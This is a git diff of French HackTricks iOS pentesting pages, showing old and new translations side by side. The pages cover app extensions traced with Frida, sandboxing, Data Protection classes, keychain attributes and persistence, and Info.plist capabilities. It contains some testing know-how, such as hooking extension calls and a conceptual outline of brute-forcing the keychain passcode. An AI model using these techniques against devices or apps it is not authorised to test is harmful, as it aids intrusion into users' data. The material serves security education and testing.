||||
|
||||
![](../../mobile-apps-pentesting/ios-pentesting/broken-reference)
|
||||
|
||||
Comme mentionné dans le guide, l'application doit configurer un conteneur partagé si l'extension d'application utilise la classe `NSURLSession` pour effectuer un téléchargement ou un téléversement en arrière-plan, afin que l'extension et son application conteneur puissent accéder aux données transférées.
|
||||
Comme mentionné également dans le guide, l'application doit configurer un conteneur partagé si l'extension d'application utilise la classe `NSURLSession` pour effectuer un téléchargement ou un téléversement en arrière-plan, afin que l'extension et son application conteneur puissent accéder aux données transférées.
|
||||
|
||||
**Vérification si l'application restreint l'utilisation des extensions d'application**
|
||||
**Vérification si l'Application Restreint l'Utilisation des Extensions d'Application**
|
||||
|
||||
Il est possible de rejeter un type spécifique d'extension d'application en utilisant la méthode suivante:
|
||||
Il est possible de rejeter un type spécifique d'extension d'application en utilisant la méthode suivante :
|
||||
|
||||
* [`application:shouldAllowExtensionPointIdentifier:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623122-application?language=objc)
|
||||
|
||||
Cependant, il est actuellement possible uniquement pour les extensions d'application "clavier personnalisé" (et doit être vérifié lors des tests d'applications manipulant des données sensibles via le clavier comme les applications bancaires, par exemple).
|
||||
Cependant, cela n'est actuellement possible que pour les extensions d'application de "clavier personnalisé" (et devrait être vérifié lors du test d'applications manipulant des données sensibles via le clavier comme par exemple les applications bancaires).
|
||||
|
||||
### Analyse dynamique
|
||||
### Analyse Dynamique
|
||||
|
||||
Pour l'analyse dynamique, nous pouvons faire ce qui suit pour acquérir des connaissances sans avoir le code source:
|
||||
Pour l'analyse dynamique, nous pouvons faire ce qui suit pour acquérir des connaissances sans avoir le code source :
|
||||
|
||||
* Inspection des éléments partagés
|
||||
* Identification des extensions d'application impliquées
|
||||
* Inspecter les éléments partagés
|
||||
* Identifier les extensions d'application impliquées
|
||||
|
||||
**Inspection des éléments partagés**
|
||||
**Inspecter les Éléments Partagés**
|
||||
|
||||
Pour cela, nous devons accrocher `NSExtensionContext - inputItems` dans l'application d'origine des données.
|
||||
Pour cela, nous devrions intercepter `NSExtensionContext - inputItems` dans l'application d'origine des données.
|
||||
|
||||
En suivant l'exemple précédent de Telegram, nous allons maintenant utiliser le bouton "Partager" sur un fichier texte (qui a été reçu d'un chat) pour créer une note dans l'application Notes avec celui-ci:
|
||||
En suivant l'exemple précédent de Telegram, nous utiliserons maintenant le bouton "Partager" sur un fichier texte (qui a été reçu d'une discussion) pour créer une note dans l'application Notes avec :
|
||||
|
||||
![](<../../.gitbook/assets/image (497).png>)
|
||||
|
||||
Si nous exécutons une trace, nous verrons la sortie suivante:
|
||||
Si nous exécutons une trace, nous verrions la sortie suivante :
|
||||
```bash
|
||||
(0x1c06bb420) NSExtensionContext - inputItems
|
||||
0x18284355c Foundation!-[NSExtension _itemProviderForPayload:extensionContext:]
|
||||
|
@ -143,22 +143,22 @@ Si nous exécutons une trace, nous verrons la sortie suivante:
|
|||
RET: (
|
||||
"<NSExtensionItem: 0x1c420a540> - userInfo:
|
||||
{
|
||||
NSExtensionItemAttachmentsKey = (
|
||||
"<NSItemProvider: 0x1c46b30e0> {types = (\n \"public.plain-text\",\n \"public.file-url\"\n)}"
|
||||
);
|
||||
NSExtensionItemAttachmentsKey = (
|
||||
"<NSItemProvider: 0x1c46b30e0> {types = (\n \"public.plain-text\",\n \"public.file-url\"\n)}"
|
||||
);
|
||||
}"
|
||||
)
|
||||
```
|
||||
Ici, nous pouvons observer que :
|
||||
Nous pouvons observer que :
|
||||
|
||||
* Cela s'est produit sous le capot via XPC, concrètement, il est implémenté via une `NSXPCConnection` qui utilise le framework `libxpc.dylib`.
|
||||
* Les UTI inclus dans le `NSItemProvider` sont `public.plain-text` et `public.file-url`, ce dernier étant inclus dans `NSExtensionActivationRule` du [`Info.plist` de l'extension "Share" de Telegram](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist).
|
||||
* Cela s'est produit en arrière-plan via XPC, concrètement, cela est implémenté via une `NSXPCConnection` qui utilise le Framework `libxpc.dylib`.
|
||||
* Les UTIs inclus dans le `NSItemProvider` sont `public.plain-text` et `public.file-url`, ce dernier étant inclus dans `NSExtensionActivationRule` du [`Info.plist` de l'"Extension de partage" de Telegram](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist).
|
||||
|
||||
**Identification des extensions d'application impliquées**
|
||||
**Identifier les Extensions d'Application Impliquées**
|
||||
|
||||
Vous pouvez également découvrir quelle extension d'application s'occupe de vos demandes et réponses en accrochant `NSExtension - _plugIn` :
|
||||
Vous pouvez également découvrir quelle extension d'application prend en charge vos requêtes et réponses en accrochant `NSExtension - _plugIn` :
|
||||
|
||||
Nous exécutons à nouveau le même exemple :
|
||||
Nous exécutons le même exemple à nouveau :
|
||||
```bash
|
||||
(0x1c0370200) NSExtension - _plugIn
|
||||
RET: <PKPlugin: 0x1163637f0 ph.telegra.Telegraph.Share(5.3) 5B6DE177-F09B-47DA-90CD-34D73121C785
|
||||
|
@ -175,22 +175,20 @@ Comme vous pouvez le voir, il y a deux extensions d'application impliquées :
|
|||
* `Share.appex` envoie le fichier texte (`public.plain-text` et `public.file-url`).
|
||||
* `com.apple.mobilenotes.SharingExtension.appex` qui reçoit et traitera le fichier texte.
|
||||
|
||||
Si vous voulez en savoir plus sur ce qui se passe sous le capot en termes de XPC, nous vous recommandons de jeter un coup d'œil aux appels internes de "libxpc.dylib". Par exemple, vous pouvez utiliser [`frida-trace`](https://www.frida.re/docs/frida-trace/) et approfondir les méthodes qui vous semblent les plus intéressantes en étendant les stubs générés automatiquement.
|
||||
Si vous souhaitez en savoir plus sur ce qui se passe en arrière-plan en termes de XPC, nous vous recommandons de jeter un œil aux appels internes de "libxpc.dylib". Par exemple, vous pouvez utiliser [`frida-trace`](https://www.frida.re/docs/frida-trace/) puis approfondir les méthodes qui vous semblent les plus intéressantes en étendant les stubs générés automatiquement.
|
||||
|
||||
###
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,135 +1,196 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [PLANS D'ABONNEMENT](https://github.com/sponsors/carlospolop) !
|
||||
|
||||
- Découvrez [La famille PEASS](https://opensea.io/collection/the-peass-family), notre collection d'[NFTs](https://opensea.io/collection/the-peass-family) exclusifs.
|
||||
|
||||
- Obtenez le [swag officiel PEASS & HackTricks](https://peass.creator-spring.com)
|
||||
|
||||
- Rejoignez le [💬](https://emojipedia.org/speech-balloon/) groupe Discord ou le groupe [telegram](https://t.me/peass) ou suivez-moi sur Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live).
|
||||
|
||||
- Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Séparation des privilèges et bac à sable
|
||||
```markdown
|
||||
# Séparation des privilèges et Sandbox
|
||||
|
||||
Les applications auxquelles l'utilisateur peut accéder s'exécutent en tant qu'utilisateur **mobile** tandis que les processus système critiques s'exécutent en tant que **root**.\
|
||||
Cependant, le bac à sable permet un meilleur contrôle des actions que les processus et les applications peuvent effectuer.
|
||||
Cependant, le sandbox permet un meilleur contrôle sur les actions que les processus et les applications peuvent effectuer.
|
||||
|
||||
Par exemple, même si deux processus s'exécutent en tant que même utilisateur (mobile), ils ne sont **pas autorisés à accéder ou à modifier les données de l'autre**.
|
||||
Par exemple, même si deux processus s'exécutent en tant que même utilisateur (mobile), ils **ne sont pas autorisés à accéder ou modifier les données de l'autre**.
|
||||
|
||||
Chaque application est installée sous **`private/var/mobile/Applications/{ID aléatoire}`**\
|
||||
Une fois installées, les applications ont un accès en lecture limité à certaines zones et fonctions du système (SMS, appel téléphonique...). Si une application souhaite accéder à une **zone protégée**, une **fenêtre contextuelle demandant l'autorisation** apparaît.
|
||||
Une fois installées, les applications ont un accès en lecture limité à certaines zones et fonctions du système (SMS, appel téléphonique...). Si une application souhaite accéder à une **zone protégée,** une **fenêtre pop-up demandant la permission** apparaît.
|
||||
|
||||
# Protection des données
|
||||
|
||||
Les développeurs d'applications peuvent exploiter les API de _Protection des données_ d'iOS pour mettre en œuvre un **contrôle d'accès fin** pour les données utilisateur stockées dans la mémoire flash. Les API sont construites sur le **processeur Secure Enclave** (SEP). Le SEP est un coprocesseur qui fournit des **opérations cryptographiques pour la protection des données et la gestion des clés**. Une clé matérielle spécifique au dispositif - l'**UID de dispositif** (identifiant unique) - est **intégrée dans l'enclave sécurisée**, assurant l'intégrité de la protection des données même lorsque le noyau du système d'exploitation est compromis.
|
||||
Les développeurs d'applications peuvent tirer parti des API de _Protection des données_ d'iOS pour mettre en œuvre un **contrôle d'accès granulaire** pour les données utilisateur stockées dans la mémoire flash. Les API sont construites sur le dessus du **Secure Enclave Processor** (SEP). Le SEP est un coprocesseur qui fournit des **opérations cryptographiques pour la protection des données et la gestion des clés**. Une clé matérielle spécifique à l'appareil, l'**UID de l'appareil** (Identifiant Unique), est **intégrée dans l'enclave sécurisée**, assurant l'intégrité de la protection des données même lorsque le noyau du système d'exploitation est compromis.
|
||||
|
||||
Lorsqu'un **fichier est créé** sur le disque, une nouvelle **clé AES de 256 bits est générée** à l'aide du générateur de nombres aléatoires basé sur le matériel de l'enclave sécurisée. Le **contenu du fichier est ensuite chiffré avec la clé générée**. Et ensuite, cette **clé est enregistrée chiffrée avec une clé de classe** avec **l'ID de classe**, avec **les deux données chiffrées par la clé du système**, à l'intérieur des **métadonnées** du fichier.
|
||||
Lorsqu'un **fichier est créé** sur le disque, une nouvelle clé **AES 256 bits est générée** avec l'aide du générateur de nombres aléatoires basé sur le matériel de l'enclave sécurisée. Le **contenu du fichier est ensuite chiffré avec la clé générée**. Ensuite, cette **clé est sauvegardée chiffrée avec une clé de classe** ainsi que **l'ID de classe,** avec **les deux données chiffrées par la clé du système,** à l'intérieur des **métadonnées** du fichier.
|
||||
|
||||
![](<../../.gitbook/assets/image (473).png>)
|
||||
|
||||
Pour déchiffrer le fichier, les **métadonnées sont déchiffrées en utilisant la clé du système**. Ensuite, en utilisant l'**ID de classe**, la **clé de classe est récupérée** **pour déchiffrer la clé par fichier et déchiffrer le fichier.**
|
||||
Pour déchiffrer le fichier, les **métadonnées sont déchiffrées en utilisant la clé du système**. Ensuite, en **utilisant l'ID de classe** la **clé de classe est récupérée** **pour déchiffrer la clé de fichier et déchiffrer le fichier.**
|
||||
|
||||
Les fichiers peuvent être attribués à l'une des **quatre classes de protection différentes**, qui sont expliquées en détail dans le [Guide de sécurité de la plateforme Apple](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf) :
|
||||
Les fichiers peuvent être attribués à l'une des **quatre** **classes de protection** **différentes**, qui sont expliquées plus en détail dans le [Guide de sécurité de la plateforme Apple](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf) :
|
||||
|
||||
* **Protection complète (NSFileProtectionComplete)** : Une clé dérivée du code d'accès de l'utilisateur et de l'UID de l'appareil protège cette clé de classe. La clé dérivée est effacée de la mémoire peu de temps après que l'appareil est verrouillé, rendant les données inaccessibles jusqu'à ce que l'utilisateur déverrouille l'appareil.
|
||||
* **Protégé sauf ouvert (NSFileProtectionCompleteUnlessOpen)** : Cette classe de protection est similaire à la
|
||||
* **Protection complète (NSFileProtectionComplete)** : Une clé dérivée du code d'accès de l'utilisateur et de l'UID de l'appareil protège cette clé de classe. La clé dérivée est effacée de la mémoire peu après que l'appareil est verrouillé, rendant les données inaccessibles jusqu'à ce que l'utilisateur déverrouille l'appareil.
|
||||
* **Protégé sauf si ouvert (NSFileProtectionCompleteUnlessOpen)** : Cette classe de protection est similaire à la Protection complète, mais, si le fichier est ouvert lorsque déverrouillé, l'application peut continuer à accéder au fichier même si l'utilisateur verrouille l'appareil. Cette classe de protection est utilisée lorsque, par exemple, une pièce jointe de courrier est téléchargée en arrière-plan.
|
||||
* **Protégé jusqu'à la première authentification de l'utilisateur (NSFileProtectionCompleteUntilFirstUserAuthentication)** : Le fichier peut être accédé dès que l'utilisateur déverrouille l'appareil pour la première fois après le démarrage. Il peut être accédé même si l'utilisateur verrouille par la suite l'appareil et la clé de classe n'est pas retirée de la mémoire.
|
||||
* **Aucune protection (NSFileProtectionNone)** : La clé pour cette classe de protection est protégée uniquement avec l'UID. La clé de classe est stockée dans "Effaceable Storage", qui est une région de la mémoire flash sur l'appareil iOS qui permet le stockage de petites quantités de données. Cette classe de protection existe pour un effacement à distance rapide (suppression immédiate de la clé de classe, ce qui rend les données inaccessibles).
|
||||
|
||||
Toutes les clés de classe à l'exception de `NSFileProtectionNone` sont chiffrées avec une clé dérivée de l'UID de l'appareil et du code d'accès de l'utilisateur. En conséquence, le déchiffrement ne peut se produire que sur l'appareil lui-même et nécessite le bon code d'accès.
|
||||
|
||||
Depuis iOS 7, la classe de protection des données par défaut est "Protégé jusqu'à la première authentification de l'utilisateur".
|
||||
|
||||
[**FileDP**](https://github.com/abjurato/FileDp-Source) est un programme que vous pouvez télécharger et utiliser à l'intérieur de l'iPhone pour **inspecter la classe de protection des données** de chaque fichier.
|
||||
|
||||
## Le Keychain
|
||||
|
||||
Un keychain est un **conteneur chiffré** où chaque application peut **stocker** des morceaux d'**informations sensibles** et seule la même application (ou les applications autorisées) peut récupérer le contenu.\
|
||||
iOS **génère son propre mot de passe pour le keychain** et **stocke** une version **chiffrée** de cette clé dans l'appareil. Ce mot de passe est chiffré avec AES en utilisant une clé AES créée par une fonction **PBKDF2** du **code d'accès de l'utilisateur + sel** (le **UID de l'appareil 256 bits** **uniquement accessible** au chipset de l'enclave sécurisée sur l'appareil). En raison de l'utilisation de cet UID de l'appareil comme sel, un appareil ne pourra pas déchiffrer le keychain d'un autre appareil même en connaissant le code d'accès des utilisateurs.
|
||||
|
||||
L'accès au Keychain est géré par le daemon **`securityd`**, qui accorde l'accès selon les droits `Keychain-access-groups`, `application-identifier` et `application-group` de l'application.
|
||||
|
||||
L'[API Keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) comprend les opérations principales suivantes :
|
||||
|
||||
* `SecItemAdd`
|
||||
* `SecItemUpdate`
|
||||
* `SecItemCopyMatching`
|
||||
* `SecItemDelete`
|
||||
|
||||
Les seules façons d'essayer de BF ce mot de passe est de dumper la clé chiffrée et de BF le code d'accès + sel (la fonction **pbkdf2** utilise **au moins 10000 itérations**). Ou d'essayer de **BF à l'intérieur de l'appareil** pour éviter de BF le sel, cependant, l'enclave sécurisée assure qu'il y a au moins un **délai de 5 secondes entre 2 tentatives de mot de passe échouées**.
|
||||
|
||||
Vous pouvez configurer **la protection des données pour les éléments Keychain** en définissant la clé `kSecAttrAccessible` dans l'appel à `SecItemAdd` ou `SecItemUpdate`. Les valeurs d'accessibilité configurables suivantes pour kSecAttrAccessible sont les classes de protection des données Keychain :
|
||||
|
||||
* **`kSecAttrAccessibleAlways`** : Les données de l'élément Keychain peuvent **toujours être accessibles**, que l'appareil soit verrouillé ou non.
|
||||
* **`kSecAttrAccessibleAlwaysThisDeviceOnly`** : Les données de l'élément Keychain peuvent **toujours être accessibles**, que l'appareil soit verrouillé ou non. Les données **ne seront pas incluses dans une sauvegarde iCloud** ou locale.
|
||||
* **`kSecAttrAccessibleAfterFirstUnlock`** : Les données de l'élément Keychain ne peuvent pas être accessibles après un redémarrage jusqu'à ce que **l'appareil ait été déverrouillé une fois** par l'utilisateur.
|
||||
* **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`** : Les données de l'élément Keychain ne peuvent pas être accessibles après un redémarrage jusqu'à ce que **l'appareil ait été déverrouillé une fois** par l'utilisateur. Les éléments avec cet attribut ne **migrent pas vers un nouvel appareil**. Ainsi, après la restauration à partir d'une sauvegarde d'un autre appareil, ces éléments ne seront pas présents.
|
||||
* **`kSecAttrAccessibleWhenUnlocked`** : Les données de l'élément Keychain peuvent être accessibles **uniquement lorsque l'appareil est déverrouillé** par l'utilisateur.
|
||||
* **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`** : Les données de l'élément Keychain peuvent être accessibles **uniquement lorsque l'appareil est déverrouillé** par l'utilisateur. Les données **ne seront pas incluses dans une sauvegarde iCloud ou locale**.
|
||||
* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`** : Les données du Keychain peuvent être accessibles **uniquement lorsque l'appareil est déverrouillé**. Cette classe de protection est **disponible uniquement si un code d'accès est défini** sur l'appareil. Les données **ne seront pas incluses dans une sauvegarde iCloud ou locale**.
|
||||
|
||||
**`AccessControlFlags`** définissent les mécanismes avec lesquels les utilisateurs peuvent authentifier la clé (`SecAccessControlCreateFlags`) :
|
||||
|
||||
* **`kSecAccessControlDevicePasscode`** : Accéder à l'élément via un code d'accès.
|
||||
* **`kSecAccessControlBiometryAny`** : Accéder à l'élément via l'une des empreintes digitales enregistrées sur Touch ID. Ajouter ou supprimer une empreinte digitale n'invalidera pas l'élément.
|
||||
* **`kSecAccessControlBiometryCurrentSet`** : Accéder à l'élément via l'une des empreintes digitales enregistrées sur Touch ID. Ajouter ou supprimer une empreinte digitale _invalidera_ l'élément.
|
||||
* **`kSecAccessControlUserPresence`** : Accéder à l'élément via l'une des empreintes digitales enregistrées (en utilisant Touch ID) ou par défaut au code d'accès.
|
||||
|
||||
Veuillez noter que les clés sécurisées par Touch ID (via `kSecAccessControlBiometryAny` ou `kSecAccessControlBiometryCurrentSet`) sont protégées par l'Enclave sécurisée : le Keychain détient un jeton seulement, pas la clé réelle. La clé réside dans l'Enclave sécurisée.
|
||||
|
||||
L'iPhone utilise le **code d'accès introduit par l'utilisateur déverrouillant l'appareil pour déchiffrer les secrets dans le keychain**.
|
||||
|
||||
iOS utilise le _**AppIdentifierPrefix**_ (ID de l'équipe) et le _**BundleIdentifier**_ (fourni par le développeur) pour appliquer un **contrôle d'accès sur les éléments du keychain**. Ainsi, la même équipe **peut** **configurer** **2 applications pour partager des éléments du keychain**.
|
||||
|
||||
Lorsqu'un processus de sauvegarde est initié, les **données du keychain sauvegardées restent chiffrées et le mot de passe du keychain n'est pas inclus dans la sauvegarde**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Sur un appareil jailbreaké, le keychain n'est pas protégé.**
|
||||
{% endhint %}
|
||||
|
||||
### **Persistance des données Keychain**
|
||||
|
||||
Sur iOS, lorsqu'une application est désinstallée, les données Keychain utilisées par l'application sont conservées par l'appareil, contrairement aux données stockées par le sandbox de l'application qui sont effacées. Dans l'éventualité où un **utilisateur vend son appareil sans effectuer une réinitialisation d'usine, l'acheteur de l'appareil pourrait être en mesure d'accéder aux comptes et données d'application de l'utilisateur précédent en réinstallant** les mêmes applications utilisées par l'utilisateur précédent. Cela ne nécessiterait aucune compétence technique pour être réalisé.
|
||||
|
||||
Il n'existe pas d'API iOS que les développeurs peuvent utiliser pour forcer l'effacement des données lorsqu'une application est désinstallée. Au lieu de cela, les développeurs devraient prendre les mesures suivantes pour empêcher les données Keychain de persister entre les installations d'applications :
|
||||
|
||||
* Lorsqu'une application est lancée pour la première fois après l'installation, effacer toutes les données Keychain associées à l'application. Cela empêchera un deuxième utilisateur de l'appareil d'accéder accidentellement aux comptes de l'utilisateur précédent. L'exemple Swift suivant est une démonstration basique de cette procédure d'effacement :
|
||||
```
|
||||
```objectivec
|
||||
let userDefaults = UserDefaults.standard
|
||||
|
||||
if userDefaults.bool(forKey: "hasRunBefore") == false {
|
||||
// Remove Keychain items here
|
||||
// Remove Keychain items here
|
||||
|
||||
// Update the flag indicator
|
||||
userDefaults.set(true, forKey: "hasRunBefore")
|
||||
userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
// Update the flag indicator
|
||||
userDefaults.set(true, forKey: "hasRunBefore")
|
||||
userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
}
|
||||
```
|
||||
* Lors du développement de la fonctionnalité de déconnexion pour une application iOS, assurez-vous que les données du trousseau sont effacées lors de la déconnexion du compte. Cela permettra aux utilisateurs de supprimer leurs comptes avant de désinstaller une application.
|
||||
* Lors du développement de la fonctionnalité de déconnexion pour une application iOS, assurez-vous que les données du Keychain sont effacées lors de la déconnexion du compte. Cela permettra aux utilisateurs d'effacer leurs comptes avant de désinstaller une application.
|
||||
|
||||
# **Fonctionnalités de l'application**
|
||||
# **Capacités de l'application**
|
||||
|
||||
**Chaque application a un répertoire principal unique et est isolée**, de sorte qu'elle ne peut pas accéder aux ressources système protégées ou aux fichiers stockés par le système ou par d'autres applications. Ces restrictions sont mises en œuvre via des politiques de bac à sable (alias _profils_), qui sont appliquées par le biais du [Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html) via une extension de noyau.
|
||||
**Chaque application possède un répertoire d'accueil unique et est en mode sandbox**, de sorte qu'elle ne peut pas accéder aux ressources protégées du système ou aux fichiers stockés par le système ou par d'autres applications. Ces restrictions sont mises en œuvre via des politiques de sandbox (également connues sous le nom de _profils_), qui sont appliquées par le [Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html) via une extension du noyau.
|
||||
|
||||
Certaines [**fonctionnalités/autorisations**](https://help.apple.com/developer-account/#/dev21218dfd6) peuvent être configurées par les développeurs de l'application (par exemple, la protection des données ou le partage de trousseau) et prendront effet directement après l'installation. Cependant, pour d'autres, **l'utilisateur sera explicitement invité la première fois que l'application tente d'accéder à une ressource protégée**.
|
||||
Certaines [**capacités/permissions**](https://help.apple.com/developer-account/#/dev21218dfd6) peuvent être configurées par les développeurs de l'application (par exemple, la protection des données ou le partage de Keychain) et prendront effet directement après l'installation. Cependant, pour d'autres, **l'utilisateur sera explicitement invité la première fois que l'application tente d'accéder à une ressource protégée**.
|
||||
|
||||
Les chaînes de but (ou _usage description strings_) sont des textes personnalisés qui sont proposés aux utilisateurs dans l'alerte de demande d'autorisation du système lorsqu'une autorisation est demandée pour accéder à des données ou des ressources protégées.
|
||||
Les [_Purpose strings_](https://developer.apple.com/documentation/uikit/core_app/protecting_the_user_s_privacy/accessing_protected_resources?language=objc#3037322) ou _chaînes de description d'utilisation_ sont des textes personnalisés qui sont présentés aux utilisateurs dans l'alerte de demande de permission du système lorsqu'une autorisation d'accès à des données ou ressources protégées est demandée.
|
||||
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission\_request\_alert.png?alt=media)
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission_request_alert.png?alt=media)
|
||||
|
||||
Si vous avez le code source d'origine, vous pouvez vérifier les autorisations incluses dans le fichier `Info.plist` :
|
||||
Si vous disposez du code source original, vous pouvez vérifier les permissions incluses dans le fichier `Info.plist` :
|
||||
|
||||
* Ouvrez le projet avec Xcode.
|
||||
* Trouvez et ouvrez le fichier `Info.plist` dans l'éditeur par défaut et recherchez les clés commençant par `"Privacy -"`.
|
||||
|
||||
Vous pouvez passer à la vue pour afficher les valeurs brutes en faisant un clic droit et en sélectionnant "Afficher les clés/valeurs brutes" (de cette façon, par exemple, `"Privacy - Location When In Use Usage Description"` deviendra `NSLocationWhenInUseUsageDescription`).
|
||||
Vous pouvez changer la vue pour afficher les valeurs brutes en cliquant avec le bouton droit et en sélectionnant "Show Raw Keys/Values" (ainsi par exemple `"Privacy - Location When In Use Usage Description"` se transformera en `NSLocationWhenInUseUsageDescription`).
|
||||
|
||||
Si vous n'avez que le fichier IPA :
|
||||
Si vous disposez seulement de l'IPA :
|
||||
|
||||
* Décompressez le fichier IPA.
|
||||
* Le fichier `Info.plist` se trouve dans `Payload/<nom de l'application>.app/Info.plist`.
|
||||
* Décompressez l'IPA.
|
||||
* Le `Info.plist` se trouve dans `Payload/<appname>.app/Info.plist`.
|
||||
* Convertissez-le si nécessaire (par exemple, `plutil -convert xml1 Info.plist`) comme expliqué dans le chapitre "iOS Basic Security Testing", section "The Info.plist File".
|
||||
* Inspectez toutes les clés Info.plist des chaînes de but, qui se terminent généralement par `UsageDescription` :
|
||||
* Inspectez toutes les clés _purpose strings Info.plist_, se terminant généralement par `UsageDescription` :
|
||||
|
||||
```markup
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Votre emplacement est utilisé pour fournir des instructions détaillées pour vous rendre à votre destination.</string>
|
||||
```
|
||||
```markup
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Votre position est utilisée pour fournir des indications de navigation vers votre destination.</string>
|
||||
```
|
||||
|
||||
## Fonctionnalités de l'appareil
|
||||
## Capacités de l'appareil
|
||||
|
||||
Les fonctionnalités de l'appareil sont utilisées par l'App Store pour s'assurer que seuls les appareils compatibles sont répertoriés et donc autorisés à télécharger l'application. Elles sont spécifiées dans le fichier `Info.plist` de l'application sous la clé [`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities).
|
||||
Les capacités de l'appareil sont utilisées par l'App Store pour s'assurer que seuls les appareils compatibles sont répertoriés et donc autorisés à télécharger l'application. Elles sont spécifiées dans le fichier `Info.plist` de l'application sous la clé [`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple_ref/doc/plist/info/UIRequiredDeviceCapabilities).
|
||||
```markup
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
```
|
||||
> En général, vous trouverez la capacité `armv7`, ce qui signifie que l'application est compilée uniquement pour l'ensemble d'instructions armv7, ou s'il s'agit d'une application universelle 32/64 bits.
|
||||
